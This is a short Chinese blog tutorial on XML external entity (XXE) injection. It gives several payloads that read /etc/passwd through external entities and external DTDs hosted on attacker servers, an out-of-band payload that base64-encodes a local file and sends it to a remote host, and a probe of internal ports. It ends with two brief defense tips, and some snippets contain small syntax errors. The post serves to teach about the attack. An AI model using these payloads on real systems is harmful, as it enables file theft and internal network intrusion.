XXE漏洞简介

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011975363/article/details/85089828

XXE攻击:xml外部实体注入攻击。外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">
性质类似于远程命令执行,让系统执行攻击者在外部实体中输入的命令。

  • DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
  • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

xxe攻击

一、直接通过DTD外部实体说明

  • xml内容:
<!DOCTYPE a [
	<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>```

二、通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容:
```<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>```
DTD文件内容:
<!ENTITY b SYSTEM "file://etc/passwd">
三、通过DTD外部实体声明引入外部实体声明:先写一个外部实体声明,然后引用攻击者在服务器上的外部实体声明。
```<?xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
	%d;
]>
<c>&b;</c>```
dtd文件的内容
```<!ENTITY b SYSTEM "file:///etc/passwd">```

### 产生的危害
-  读取任意文件,并且可把文件发送到远程服务器
<?php 
$xml=<<<EOF
<?xml version="1.0">
<!DOCTYPE ANY[
	<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
EOF;
$data=simplexml_load_string($xml);
print_r($data);
?>
将数据发送到远程服务器
<?php 
$xml=<<<EOF
<?xml version="1.0">
<!DOCTYPE ANY[
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode resource=/etc/issue">
	<!ENTITY % dtd SYSTEM "http://192.168.1.122/evil.dtd">
%dtd;
%send;
]>
EOF;
$data=simplexml_load_string($xml);
print_r($data);
?>
evil.dtd:
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.1.122/?file;'>"
>
%all;
-  执行系统命令

-  探测内网端口
```<?php
<$xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "http://192.168.1.1:81/mark4z5">
]>
<x>&xxe;</x>
EOF;
$data=simplexml_load_string($xml);
print_r($data);
?>```
- 对内网进行攻击


### 防御措施
- 使用开发语言提供的禁用外部实体的方法
- 过滤用户提交的xml数据

后期搭建靶机进行实践了,再来补充。

参考资料:
1、https://www.cnblogs.com/r00tuser/p/7255939.html



猜你喜欢

转载自blog.csdn.net/u011975363/article/details/85089828